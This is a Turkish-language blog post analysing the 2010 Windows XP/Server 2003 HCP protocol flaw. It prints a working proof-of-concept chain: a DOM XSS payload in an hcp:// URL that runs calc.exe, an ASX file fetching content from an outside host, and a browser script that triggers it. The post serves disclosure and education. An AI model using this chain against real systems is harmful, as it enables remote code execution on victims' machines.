10 Haziran 2010 tarihinde Windows XP’leri etkileyen ciddi bir zaaf keÅŸfedildi, bu zaaf sadece Windows XP ve Server 2003′lere etki etmekle beraber, HCP protokolünü kullanmakta. Üstelik HCP protokolünün yarattığı ilk zaafiyet de deÄŸil bu. 2003 yılında “KB825119” ismiyle yayınlanan güncelleÅŸtirme paketi de yine HCP protokolü kullanılarak, saldırgan tarafından hazırlanmış bir URL’nin kurbanın bilgisayarında çalıştırılması ve zaafın exploit edilmesiyle saÄŸlanan uzaktan kod çalıştırabilme açığını düzeltmek için yayınlanmıştı.
Ben blogumda 12 Haziran günü “Ne Kadar Süre Tanımalıyız” baÅŸlıklı yazımda bu durumdan bahsetmiÅŸtim, 18 Haziran’da ise Milliyet Gazetesi‘de bu olay haber oldu.
Helpctr Nedir?
Helpctr.exe dosyası parametresiz kullanıldığı taktirde, Windows XP’de Windows Yardım ve Destek Merkezini baÅŸlatır.
Parametreli kullanımda sözdizimi ise şu şekildedir : helpctr [/url [URL]] [/mode [URL]] [/hidden] [/fromstarthelp]
Parametreleri inceleyecek olursak:
/url[URL] Windows Yardım ve Destek Merkezi altında görüntülemek istediÄŸiniz yardım sayfasının URL’sini girebilirsiniz.
/mode[URL] Windows Yardım ve Destek Merkezi’nin düzen, sözdizimi ve içeriÄŸini kontrol eden Launch_Description.dtd ÅŸeması ile çalışan bir XML tanım dosyası belirtir.
/hidden Bir arayüz göstermeksizin Windows Yardım ve Destek Merkezi’ni baÅŸlatır. Bu komut ile bir yardım konusu yine arayüz gösterilmeden yüklenebilir. Uzaktan yönetilen script çalıştırma iÅŸlemlerinde kullanılabilir (sistem yöneticileri vs.)
/fromstarthelp : Yardım ve Destek Merkezi’nin yeni bir kopyasını baÅŸlatır.
/? : Komut satırında yardım seçeneklerini görüntüler.
Uyarı : [URL] içerisinde belirteceÄŸiniz URL’leri, süssüz çift tırnak içerisinde de belirtebilirsiniz. ["www.serhatdundar.com"] gibi.
HCP Protokolü Nedir?
HCP; Windows XP altında ki “Windows Yardım ve Destek Merkezi” için kullanılan bir protokoldür. HCP prokolünü içeren çeÅŸitli URL’ler sayesinde Yardım ve Destek Merkezi’nin çeÅŸitli yönetim birimlerine kısayoldan ulaşılabiliyor.
Bu URL’lerden bir kısmını örneklemek gerekirse :
- Yardım ve Destek Merkezi Ana Sayfası ==> hcp://system/HomePage.htm
- Windows Yardım Paylaşımı ==> hcp://system/panels/sharehelp.htm
- Yardım ve Destek Detaylı Arama Sayfası ==> hcp://system/panels/AdvSearch.htm
- Network Tanılayıcılar ==> hcp://system/netdiag/dglogs.htm
- Uzak Asistan Teklifi ==> hcp://CN=Microsoft Corporation,L=Redmond,S=Washington,C=US/Remote Assistance/Escalation/Unsolicited/unsolicitedrcui.htm
- Uzak Asistan sayesinde güvendiğiniz birine yardım çağrısında bulunma ==> hcp://CN=Microsoft Corporation,L=Redmond,S=Washington,C=US/Remote Assistance/Escalation/Common/rcscreen1.htm
- Windows Güncelleme Merkezi ==> hcp://system/updatectr/updatecenter.htm
- Program Uyumluluk Sihirbazı ==> hcp://system/compatctr/compatmode.htm
- Sistem Konfigürasyon Aracı ==> hcp://system/sysinfo/sysConfigLaunch.htm
- Genel Sistem Bilgisi ==> hcp://system/sysinfo/sysInfoSum.htm
- Yüklü Donanımlar ==> hcp://system/sysinfo/sysComponentInfo.htm
- Yüklü Microsoft Yazılımları ==> hcp://system/sysinfo/sysSoftwareInfo.htm
- Sistem Donanım ve Yazılım Durumu (Stabilitesi) ==> hcp://system/sysinfo/sysHealthInfo.htm
- Detaylı Sistem Bilgisi ==> hcp://system/sysinfo/sysInfoLaunch.htm
- Çalışan Windows Servisleri ==> hcp://system/sysinfo/sysServicesInfo.htm
- Kullanıcı Grupları İzin Ayarları ==> hcp://system/sysinfo/RSoP.htm
- Hata Kayıtları ==> hcp://system/sysinfo/sysEvtLogInfo.htm
- Microsoft Sistem Bilgisi ==> hcp://system/sysinfo/msinfo.htm
Geniş çevreler tarafından kullanımının güvenli olduğu düşünülen HCP protokolü; kayıtlı komut satırı parametresi olan /fromhcp ile çağırıldığında yardım merkezi uygulamasına geçer. Bu yöntem ile yardım merkezi uygulaması, sadece bir takım yardım dökümanı ve parametrenin çalışmasına izin veren kısıtlı bir modda açılır.
Service Pack 2′de dahil edilen bu metod bize; daha güvenli bir yol olan, güvenilir online dökümanların bir listesi ile çalışma imkanı tanır. (whitelist)
Bu hata çok kötü bir durummuÅŸ gibi görünmese de, kodun ileri ki kısımlarında /fromhcp whitelist’in den kaçmak için hatalı iÅŸlemler döndürmemize olanak saÄŸlıyor.
Doğal yollardan herhangi bir yardım dökümanına erişebildiğimizi farzedersek (MPC:: hataları ile bu dökümana erişme yolları ileri de anlatılacak), bu dökümana erişimde kullanılan, tamamen URL üzerinden kontrol edebileceğimiz bir döküman önceden tanımlı olmalı (Yazı içerisinde ki HCP Protokolü Nedir? kısmı emsal alınabilir). Peki ya daha önceden tanımlanmamış bir dökümana aynı yollardan erişmek istersek?
Standart install işlemi ile yüklenmiş dökümanlara göz attıktan sonra, bunu yapmanın tek yolunun bir XSS (Cross Site Scriptin) hatası olduğunu anlayabiliriz. Dikkatli bir incelemeden sonra böyle birşey keşfedebilirsiniz :
hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
Bu yardım dökümanı standart windows yüklemesi sonucu bize hazır olarak geliyor ve sysinfo/commonFunc.js scriptinin içindeki GetServerName() fonksiyonunun yetersiz kaçış ve filtreleme özellikleri yüzünden bu sayfa DOM-type XSS saldırılarına maruz kalıyor. EÄŸer en baÅŸtan, ‘=’ (eÅŸittir), ‘”‘ (çift tırnak) veya diÄŸer karakterler tanımlansaydı, kaçış ve filtreleme özellikleri ile encode iÅŸlemi sonlandırılabilirdi.
Bu hatanın hala exploit edilebilir olduğu kesinleşmiş değil, <img src=zararliicerik onerror=kod> ve <script>kod</script> gibi basit hileler hiçbir işe yaramıyor. Bu gibi durumlarda browser güvenliği adımlarını dikkatlice inceleyip analiz etmek işimizi görebilir. Özetle belirtmek gerekirse; alışık olduğumuz XSS saldırı metodları işe yaramadı ve alternatif yollar aramaya koyulduk.
<script defer>code</script>
Bu adreste anlatılan IE’ye mahsus “defer” özelliÄŸi ile problemi çözebiliriz. Åžimdi bu ufak hileyi öğrendik ve bu hile ile basitçe komut çalıştırabileceÄŸimizi biliyoruz çünkü bu yardım dökümanı ayrıcalıklı alanda (whitelist) barınıyor.
Komut satırında, aşağıda ki şekilde bu öğrendiklerinizi test edebilirsiniz :
C:\> ver Microsoft Windows XP [Version 5.1.2600] C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>" C:\>
Åžuan yaptığımız iÅŸlem bir açıktan ziyade eÄŸlence gibi dursada, bu iÅŸlem 3.parti güvenilmeyen bir yazılım tarafından size yaptırılırsa hiçte eÄŸlenceli olmayabilir. BelirttiÄŸimiz iÅŸletim sistemleri üzerinde (Windows XP ve Server 2003), IE (8 ve üstü), Firefox ve Chrome ile hcp:// URL’lere eriÅŸmeye çalıştığınızda muhtemelen baÅŸarılı bir sonuç alacaksınız. Bir çok kullanıcı hcp:// protokolünün güvenli olduÄŸunu düşünür ve hcp URL’lere tıklamaktan çekinmez.
Windows XP üzerinde çalışan tüm browser’ların bu zaaftan kaçabilmesi için bir yol var aslında. ASX HtmlView elementi içinde ki bir <iframe> nesnesi ile hcp protokolünü çağırarak sorunu çözebiliyoruz. (bknz:ASX)
Saldırı yaklaşık olarak şu şekilde görünecek :
$ cat simple.asx <ASX VERSION="3.0"> <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/> <ENTRY> <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/> </ENTRY> </ASX>
Starthelp.html ise ÅŸu ÅŸekilde olabilir :
$ cat starthelp.html <iframe src="hcp://...">
Bir kullanıcının .asx dosyasını okumasını sağlatmak için, javascript kullanabiliriz :
$ cat launchurl.html <html> <head><title>Testing HCP</title></head> <body> <h1>OK</h1> <script> // HCP:// Vulnerability, Tavis Ormandy, June 2010. var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";; if (window.navigator.appName == "Microsoft Internet Explorer") { // Internet Explorer var o = document.createElement("OBJECT"); o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6"); o.openPlayer(asx); } else { // Mozilla, Chrome, Etc. var o = document.createElement("IFRAME"); o.setAttribute("src", asx); document.body.appendChild(o); } </script> </body> </html>
İlginizi çekebilecek diğer yazılar: